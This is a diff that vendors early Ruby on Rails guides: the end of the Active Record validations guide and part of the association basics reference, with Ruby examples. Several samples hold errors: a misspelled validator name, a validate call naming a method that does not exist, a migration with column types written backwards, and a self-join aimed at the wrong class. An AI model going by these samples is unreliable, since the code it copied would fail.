+:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper. + +=== The +:on+ option + +As stated before, the +:on+ option lets you specify when the validation should happen. The default behaviour for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on =$$>$$ :create+ to run the validation only when a new record is created or +:on =$$>$$ :update+ to run the validation only when a record is updated. + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_uniqueness_of :email, :on => :create # => it will be possible to update email with a duplicated value + validates_numericallity_of :age, :on => :update # => it will be possible to create the record with a 'non-numerical age' + validates_presence_of :name, :on => :save # => that's the default +end +------------------------------------------------------------------ + +== Conditional validation + +Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a Ruby Proc. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option. + +=== Using a symbol with the +:if+ and +:unless+ options + +You can associated the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option. + +[source, ruby] +------------------------------------------------------------------ +class Order < ActiveRecord::Base + validates_presence_of :card_number, :if => :paid_with_card? + + def paid_with_card? + payment_type == "card" + end +end +------------------------------------------------------------------ + +=== Using a string with the +:if+ and +:unless+ options + +You can also use a string that will be evaluated using +:eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_presence_of :surname, :if => "name.nil?" +end +------------------------------------------------------------------ + +=== Using a Proc object with the +:if+ and :+unless+ options + +Finally, it's possible to associate +:if+ and +:unless+ with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners. + +[source, ruby] +------------------------------------------------------------------ +class Account < ActiveRecord::Base + validates_confirmation_of :password, :unless => Proc.new { |a| a.password.blank? } +end +------------------------------------------------------------------ + +== Writing your own validation methods + +When the built-in validation helpers are not enough for your needs, you can write your own validation methods, by implementing one or more of the +validate+, +validate_on_create+ or +validate_on_update+ methods. As the names of the methods states, the right method to implement depends on when you want the validations to be ran. The meaning of valid is still the same: to make an object invalid you just need to add a message to it's +errors+ collection. + +[source, ruby] +------------------------------------------------------------------ +class Invoice < ActiveRecord::Base + def validate_on_create + errors.add(:expiration_date, "can't be in the past") if !expiration_date.blank? and expiration_date < Date.today + end +end +------------------------------------------------------------------ + +If your validation rules are too complicated and you want to break it in small methods, you can implement all of them and call one of +validate+, +validate_on_create+ or +validate_on_update+ methods, passing it the symbols for the methods' names. + +[source, ruby] +------------------------------------------------------------------ +class Invoice < ActiveRecord::Base + validate :expiration_date_cannot_be_in_the_past, :discount_cannot_be_more_than_total_value + + def expiration_date_cannot_be_in_the_past + errors.add(:expiration_date, "can't be in the past") if !expiration_date.blank? and expiration_date < Date.today + end + + def discount_cannot_be_greater_than_total_value + errors.add(:discount, "can't be greater than total value") unless discount <= total_value + end +end +------------------------------------------------------------------ + +== Changelog + +http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks diff --git a/vendor/rails/railties/doc/guides/source/association_basics.txt b/vendor/rails/railties/doc/guides/source/association_basics.txt new file mode 100644 index 00000000..5ba61664 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/association_basics.txt @@ -0,0 +1,1840 @@ +A Guide to Active Record Associations +===================================== + +This guide covers the association features of Active Record. By referring to this guide, you will be able to: + +* Declare associations between Active Record models +* Understand the various types of Active Record associations +* Use the methods added to your models by creating associations + +== Why Associations? + +Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base +end + +class Order < ActiveRecord::Base +end +------------------------------------------------------- + +Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this: + +[source, ruby] +------------------------------------------------------- +@order = Order.create(:order_date => Time.now, :customer_id => @customer.id) +------------------------------------------------------- + +Or consider deleting a customer, and ensuring that all of its orders get deleted as well: + +[source, ruby] +------------------------------------------------------- +@orders = Order.find_by_customer_id(@customer.id) +@orders.each do |order| + order.destroy +end +@customer.destroy +------------------------------------------------------- + +With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :orders +end + +class Order < ActiveRecord::Base + belongs_to :customer +end +------------------------------------------------------- + +With this change, creating a new order for a particular customer is easier: + +[source, ruby] +------------------------------------------------------- +@order = @customer.orders.create(:order_date => Time.now) +------------------------------------------------------- + +Deleting a customer and all of its orders is _much_ easier: + +[source, ruby] +------------------------------------------------------- +@customer.destroy +------------------------------------------------------- + +To learn more about the different types of associations, read the next section of this Guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails. + +== The Types of Associations + +In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association: + +* +belongs_to+ +* +has_one+ +* +has_many+ +* +has_many :through+ +* +has_one :through+ +* +has_and_belongs_to_many+ + +In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate. + +=== The +belongs_to+ Association + +A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way: + +[source, ruby] +------------------------------------------------------- +class Order < ActiveRecord::Base + belongs_to :customer +end +------------------------------------------------------- + +image:images/belongs_to.png[belongs_to Association Diagram] + +=== The +has_one+ Association + +A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this: + +[source, ruby] +------------------------------------------------------- +class Supplier < ActiveRecord::Base + has_one :account +end +------------------------------------------------------- + +image:images/has_one.png[has_one Association Diagram] + +=== The +has_many+ Association + +A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :orders +end +------------------------------------------------------- + +NOTE: The name of the other model is pluralized when declaring a +has_many+ association. + +image:images/has_many.png[has_many Association Diagram] + +=== The +has_many :through+ Association + +A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this: + +[source, ruby] +------------------------------------------------------- +class Physician < ActiveRecord::Base + has_many :appointments + has_many :patients, :through => :appointments +end + +class Appointment < ActiveRecord::Base + belongs_to :physician + belongs_to :patient +end + +class Patient < ActiveRecord::Base + has_many :appointments + has_many :physicians, :through => :appointments +end +------------------------------------------------------- + +image:images/has_many_through.png[has_many :through Association Diagram] + +The +has_many :through+ association is also useful for setting up "shortcuts" through nested :+has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way: + +[source, ruby] +------------------------------------------------------- +class Document < ActiveRecord::Base + has_many :sections + has_many :paragraphs, :through => :sections +end + +class Section < ActiveRecord::Base + belongs_to :document + has_many :paragraphs +end + +class Paragraph < ActiveRecord::Base + belongs_to :section +end +------------------------------------------------------- + +=== The +has_one :through+ Association + +A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this: + +[source, ruby] +------------------------------------------------------- +class Supplier < ActiveRecord::Base + has_one :account + has_one :account_history, :through => :account +end + +class Account < ActiveRecord::Base + belongs_to :supplier + has_one :account_history +end + +class AccountHistory < ActiveRecord::Base + belongs_to :account +end +------------------------------------------------------- + +image:images/has_one_through.png[has_one :through Association Diagram] + +=== The +has_and_belongs_to_many+ Association + +A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way: + +[source, ruby] +------------------------------------------------------- +class Assembly < ActiveRecord::Base + has_and_belongs_to_many :parts +end + +class Part < ActiveRecord::Base + has_and_belongs_to_many :assemblies +end +------------------------------------------------------- + +image:images/habtm.png[has_and_belongs_to_many Association Diagram] + +=== Choosing Between +belongs_to+ and +has_one+ + +If you want to set up a 1-1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? + +The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this: + +[source, ruby] +------------------------------------------------------- +class Supplier < ActiveRecord::Base + has_one :account +end + +class Account < ActiveRecord::Base + belongs_to :supplier +end +------------------------------------------------------- + +The corresponding migration might look like this: + +[source, ruby] +------------------------------------------------------- +class CreateSuppliers < ActiveRecord::Migration + def self.up + create_table :suppliers do |t| + t.string :name + t.timestamps + end + + create_table :accounts do |t| + t.integer :supplier_id + t.string :account_number + t.timestamps + end + end + + def self.down + drop_table :accounts + drop_table :suppliers + end +end +------------------------------------------------------- + +NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and implicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead. + +=== Choosing Between +has_many :through+ and +has_and_belongs_to_many+ + +Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly: + +[source, ruby] +------------------------------------------------------- +class Assembly < ActiveRecord::Base + has_and_belongs_to_many :parts +end + +class Part < ActiveRecord::Base + has_and_belongs_to_many :assemblies +end +------------------------------------------------------- + +The second way to declare a many-to-many relationship is to use +has_many :through+. This makes the association indirectly, through a join model: + +[source, ruby] +------------------------------------------------------- +class Assembly < ActiveRecord::Base + has_many :manifests + has_many :parts, :through => :manifests +end + +class Manifest < ActiveRecord::Base + belongs_to :assembly + belongs_to :part +end + +class Part < ActiveRecord::Base + has_many :manifests + has_many :assemblies, :through => :manifests +end +------------------------------------------------------- + +The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table). + +You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model. + +=== Polymorphic Associations + +A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared: + +[source, ruby] +------------------------------------------------------- +class Picture < ActiveRecord::Base + belongs_to :imageable, :polymorphic => true +end + +class Employee < ActiveRecord::Base + has_many :pictures, :as => :imageable +end + +class Product < ActiveRecord::Base + has_many :pictures, :as => :imageable +end +------------------------------------------------------- + +You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+. Similarly, you can retrieve +@product.pictures+. If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface: + +[source, ruby] +------------------------------------------------------- +class CreatePictures < ActiveRecord::Migration + def self.up + create_table :pictures do |t| + t.string :name + t.integer :imageable_id + t.string :imageable_type + t.timestamps + end + end + + def self.down + drop_table :pictures + end +end +------------------------------------------------------- + +This migration can be simplified by using the +t.references+ form: + +[source, ruby] +------------------------------------------------------- +class CreatePictures < ActiveRecord::Migration + def self.up + create_table :pictures do |t| + t.string :name + t.references :imageable, :polymorphic => true + t.timestamps + end + end + + def self.down + drop_table :pictures + end +end +------------------------------------------------------- + +image:images/polymorphic.png[Polymorphic Association Diagram] + +=== Self Joins + +In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations: + +[source, ruby] +------------------------------------------------------- +class Employee < ActiveRecord::Base + has_many :subordinates, :class_name => "User", :foreign_key => "manager_id" + belongs_to :manager, :class_name => "User" +end +------------------------------------------------------- + +With this setup, you can retrieve +@employee.subordinates+ and +@employee.manager+. + +== Tips, Tricks, and Warnings + +Here are a few things you should know to make efficient use of Active Record associations in your Rails applications: + +* Controlling caching +* Avoiding name collisions +* Updating the schema +* Controlling association scope + +=== Controlling Caching + +All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example: + +[source, ruby] +------------------------------------------------------- +customer.orders # retrieves orders from the database +customer.orders.size # uses the cached copy of orders +customer.orders.empty? # uses the cached copy of orders +------------------------------------------------------- + +But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass +true+ to the association call: + +[source, ruby] +------------------------------------------------------- +customer.orders # retrieves orders from the database +customer.orders.size # uses the cached copy of orders +customer.orders(true).empty? # discards the cached copy of orders and goes back to the database +------------------------------------------------------- + +=== Avoiding Name Collisions + +You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations. + +=== Updating the Schema + +Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things. First, you need to create foreign keys as appropriate: + +[source, ruby] +------------------------------------------------------- +class Order < ActiveRecord::Base + belongs_to :customer +end +------------------------------------------------------- + +This declaration needs to be backed up by the proper foreign key declaration on the orders table: + +[source, ruby] +------------------------------------------------------- +class CreateOrders < ActiveRecord::Migration + def self.up + create_table :orders do |t| + t.order_date :datetime + t.order_number :string + t.customer_id :integer + end + end + + def self.down + drop_table :orders + end +end +------------------------------------------------------- + +If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key. + +Second, if you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering. + +WARNING: The precedence between model names is calculated using the +<+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers". + +Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations: + +[source, ruby] +------------------------------------------------------- +class Assembly < ActiveRecord::Base + has_and_belongs_to_many :parts +end + +class Part < ActiveRecord::Base + has_and_belongs_to_many :assemblies +end +------------------------------------------------------- + +These need to be backed up by a migration to create the +assemblies_parts+ table. This table should be created without a primary key: + +[source, ruby] +------------------------------------------------------- +class CreateAssemblyPartJoinTable < ActiveRecord::Migration + def self.up + create_table :assemblies_parts, :id => false do |t| + t.integer :assembly_id + t.integer :part_id + end + end + + def self.down + drop_table :assemblies_parts + end +end +------------------------------------------------------- + +=== Controlling Association Scope + +By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example: + +[source, ruby] +------------------------------------------------------- +module MyApplication + module Business + class Supplier < ActiveRecord::Base + has_one :account + end + + class Account < ActiveRecord::Base + belongs_to :supplier + end + end +end +------------------------------------------------------- + +This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But this will not work, because +Supplier+ and +Account+ are defined in different scopes: + +[source, ruby] +------------------------------------------------------- +module MyApplication + module Business + class Supplier < ActiveRecord::Base + has_one :account + end + end + + module Billing + class Account < ActiveRecord::Base + belongs_to :supplier + end + end +end +------------------------------------------------------- + +To associate a model with a model in a different scope, you must specify the complete class name in your association declaration: + +[source, ruby] +------------------------------------------------------- +module MyApplication + module Business + class Supplier < ActiveRecord::Base + has_one :account, :class_name => "MyApplication::Billing::Account" + end + end + + module Billing + class Account < ActiveRecord::Base + belongs_to :supplier, :class_name => "MyApplication::Business::Supplier" + end + end +end +------------------------------------------------------- + +== Detailed Association Reference + +The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association. + +=== The +belongs_to+ Association + +The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead. + +==== Methods Added by +belongs_to+ + +When you declare a +belongs_to+ assocation, the declaring class automatically gains five methods related to the association: + +* +_association_(force_reload = false)+ +* +_association_=(associate)+ +* +_association_.nil?+ +* +build___association__(attributes = {})+ +* +create___association__(attributes = {})+ + +In all of these methods, +_association_+ is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration: + +[source, ruby] +------------------------------------------------------- +class Order < ActiveRecord::Base + belongs_to :customer +end +------------------------------------------------------- + +Each instance of the order model will have these methods: + +[source, ruby] +------------------------------------------------------- +customer +customer= +customer.nil? +build_customer +create_customer +------------------------------------------------------- + +===== +_association_(force_reload = false)+ + +The +_association_+ method returns the associated object, if any. If no associated object is found, it returns +nil+. + +[source, ruby] +------------------------------------------------------- +@customer = @order.customer +------------------------------------------------------- + +If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument. + +===== +_association_=(associate)+ + +The +_association_=+ method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value. + +[source, ruby] +------------------------------------------------------- +@order.customer = @customer +------------------------------------------------------- + +===== +_association_.nil?+ + +The +_association_.nil?+ method returns +true+ if there is no associated object. + +[source, ruby] +------------------------------------------------------- +if @order.customer.nil? + @msg = "No customer found for this order" +end +------------------------------------------------------- + +===== +build___association__(attributes = {})+ + +The +build__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved. + +[source, ruby] +------------------------------------------------------- +@customer = @order.build_customer({:customer_number => 123, :customer_name => "John Doe"}) +------------------------------------------------------- + +===== +create___association__(attributes = {})+ + +The +create__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). + +[source, ruby] +------------------------------------------------------- +@customer = @order.create_customer({:customer_number => 123, :customer_name => "John Doe"}) +------------------------------------------------------- + +==== Options for +belongs_to+ + +In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this: + +[source, ruby] +------------------------------------------------------- +class Order < ActiveRecord::Base + belongs_to :customer, :counter_cache => true, :conditions => "active = 1" +end +------------------------------------------------------- + +The +belongs_to+ association supports these options: + +// * +:accessible+ +* +:class_name+ +* +:conditions+ +* +:counter_cache+ +* +:dependent+ +* +:foreign_key+ +* +:include+ +* +:polymorphic+ +* +:readonly+ +* +:select+ +* +:validate+ + +// ===== +:accessible+ +// +// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association. +// +===== +:class_name+ + +If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way: + +[source, ruby] +------------------------------------------------------- +class Order < ActiveRecord::Base + belongs_to :customer, :class_name => "Patron" +end +------------------------------------------------------- + +===== +:conditions+ + +The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause). + +[source, ruby] +------------------------------------------------------- +class Order < ActiveRecord::Base + belongs_to :customer, :conditions => "active = 1" +end +------------------------------------------------------- + +===== +:counter_cache+ + +The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models: + +[source, ruby] +------------------------------------------------------- +class Order < ActiveRecord::Base + belongs_to :customer +end +class Customer < ActiveRecord::Base + has_many :orders +end +------------------------------------------------------- + +With these declarations, asking for the value of +@customer.orders.size+ requires making a call to the database to perform a +COUNT(*)+ query. To avoid this call, you can add a counter cache to the _belonging_ model: + +[source, ruby] +------------------------------------------------------- +class Order < ActiveRecord::Base + belongs_to :customer, :counter_cache => true +end +class Customer < ActiveRecord::Base + has_many :orders +end +------------------------------------------------------- + +With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +.size+ method. + +Although the +:counter_cache+ option is specified on the model that includes the +belongs_to+ declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named +orders_count+ to the +Customer+ model. You can override the default column name if you need to: + +[source, ruby] +------------------------------------------------------- +class Order < ActiveRecord::Base + belongs_to :customer, :counter_cache => :count_of_orders +end +class Customer < ActiveRecord::Base + has_many :orders +end +------------------------------------------------------- + +Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+. + +===== +:dependent+ + +If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. + +WARNING: You should not specify this option on a +belongs_to+ association that is connected with a +has_many+ association on the other class. Doing so can lead to orphaned records in your database. + +===== +:foreign_key+ + +By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: + +[source, ruby] +------------------------------------------------------- +class Order < ActiveRecord::Base + belongs_to :customer, :class_name => "Patron", :foreign_key => "patron_id" +end +------------------------------------------------------- + +TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. + +===== +:include+ + +You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: + +[source, ruby] +------------------------------------------------------- +class LineItem < ActiveRecord::Base + belongs_to :order +end +class Order < ActiveRecord::Base + belongs_to :customer + has_many :line_items +end +class Customer < ActiveRecord::Base + has_many :orders +end +------------------------------------------------------- + +If you frequently retrieve customers directly from line items (+@line_item.order.customer+), then you can make your code somewhat more efficient by including customers in the association from line items to orders: + +[source, ruby] +------------------------------------------------------- +class LineItem < ActiveRecord::Base + belongs_to :order, :include => :customer +end +class Order < ActiveRecord::Base + belongs_to :customer + has_many :line_items +end +class Customer < ActiveRecord::Base + has_many :orders +end +------------------------------------------------------- + +NOTE: There's no need to use +:include+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed. + +===== +:polymorphic+ + +Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide. + +===== +:readonly+ + +If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association. + +===== +:select+ + +The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns. + +TIP: If you set the +:select+ option on a +belongs_to+ association, you should also set the +foreign_key+ option to guarantee the correct results. + +===== +:validate+ + +If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. + +==== When are Objects Saved? + +Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either. + +=== The has_one Association + +The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use +belongs_to+ instead. + +==== Methods Added by +has_one+ + +When you declare a +has_one+ association, the declaring class automatically gains five methods related to the association: + +* +_association_(force_reload = false)+ +* +_association_=(associate)+ +* +_association_.nil?+ +* +build___association__(attributes = {})+ +* +create___association__(attributes = {})+ + +In all of these methods, +_association_+ is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration: + +[source, ruby] +------------------------------------------------------- +class Supplier < ActiveRecord::Base + has_one :account +end +------------------------------------------------------- + +Each instance of the +Supplier+ model will have these methods: + +[source, ruby] +------------------------------------------------------- +account +account= +account.nil? +build_account +create_account +------------------------------------------------------- + +===== +_association_(force_reload = false)+ + +The +_association_+ method returns the associated object, if any. If no associated object is found, it returns +nil+. + +[source, ruby] +------------------------------------------------------- +@account = @supplier.account +------------------------------------------------------- + +If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument. + +===== +_association_=(associate)+ + +The +_association_=+ method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value. + +[source, ruby] +------------------------------------------------------- +@suppler.account = @account +------------------------------------------------------- + +===== +_association_.nil?+ + +The +_association_.nil?+ method returns +true+ if there is no associated object. + +[source, ruby] +------------------------------------------------------- +if @supplier.account.nil? + @msg = "No account found for this supplier" +end +------------------------------------------------------- + +===== +build___association__(attributes = {})+ + +The +build__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved. + +[source, ruby] +------------------------------------------------------- +@account = @supplier.build_account({:terms => "Net 30"}) +------------------------------------------------------- + +===== +create___association__(attributes = {})+ + +The +create__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). + +[source, ruby] +------------------------------------------------------- +@account = @supplier.create_account({:terms => "Net 30"}) +------------------------------------------------------- + +==== Options for +has_one+ + +In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this: + +[source, ruby] +------------------------------------------------------- +class Supplier < ActiveRecord::Base + has_one :account, :class_name => "Billing", :dependent => :nullify +end +------------------------------------------------------- + +The +has_one+ association supports these options: + +// * +:accessible+ +* +:as+ +* +:class_name+ +* +:conditions+ +* +:dependent+ +* +:foreign_key+ +* +:include+ +* +:order+ +* +:primary_key+ +* +:readonly+ +* +:select+ +* +:source+ +* +:source_type+ +* +:through+ +* +:validate+ + +// ===== +:accessible+ +// +// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association. +// +===== +:as+ + +Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide. + +===== +:class_name+ + +If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way: + +[source, ruby] +------------------------------------------------------- +class Supplier < ActiveRecord::Base + has_one :account, :class_name => "Billing" +end +------------------------------------------------------- + +===== +:conditions+ + +The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause). + +[source, ruby] +------------------------------------------------------- +class Supplier < ActiveRecord::Base + has_one :account, :conditions => "confirmed = 1" +end +------------------------------------------------------- + +===== +:dependent+ + +If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the association object to +NULL+. + +===== +:foreign_key+ + +By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: + +[source, ruby] +------------------------------------------------------- +class Supplier < ActiveRecord::Base + has_one :account, :foreign_key => "supp_id" +end +------------------------------------------------------- + +TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. + +===== +:include+ + +You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: + +[source, ruby] +------------------------------------------------------- +class Supplier < ActiveRecord::Base + has_one :account +end +class Account < ActiveRecord::Base + belongs_to :supplier + belongs_to :representative +end +class Representative < ActiveRecord::Base + has_many :accounts +end +------------------------------------------------------- + +If you frequently retrieve representatives directly from suppliers (+@supplier.account.representative+), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts: + +[source, ruby] +------------------------------------------------------- +class Supplier < ActiveRecord::Base + has_one :account, :include => :representative +end +class Account < ActiveRecord::Base + belongs_to :supplier + belongs_to :representative +end +class Representative < ActiveRecord::Base + has_many :accounts +end +------------------------------------------------------- + +===== +:order+ + +The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause). Because a +has_one+ association will only retrieve a single associated object, this option should not be needed. + +===== +:primary_key+ + +By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. + +===== +:readonly+ + +If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association. + +===== +:select+ + +The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns. + +===== +:source+ + +The +:source+ option specifies the source association name for a +has_one :through+ association. + +===== +:source_type+ + +The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association. + +===== +:through+ + +The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations are discussed in detail later in this guide. + +===== +:validate+ + +If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. + +==== When are Objects Saved? + +When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too. + +If either of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is 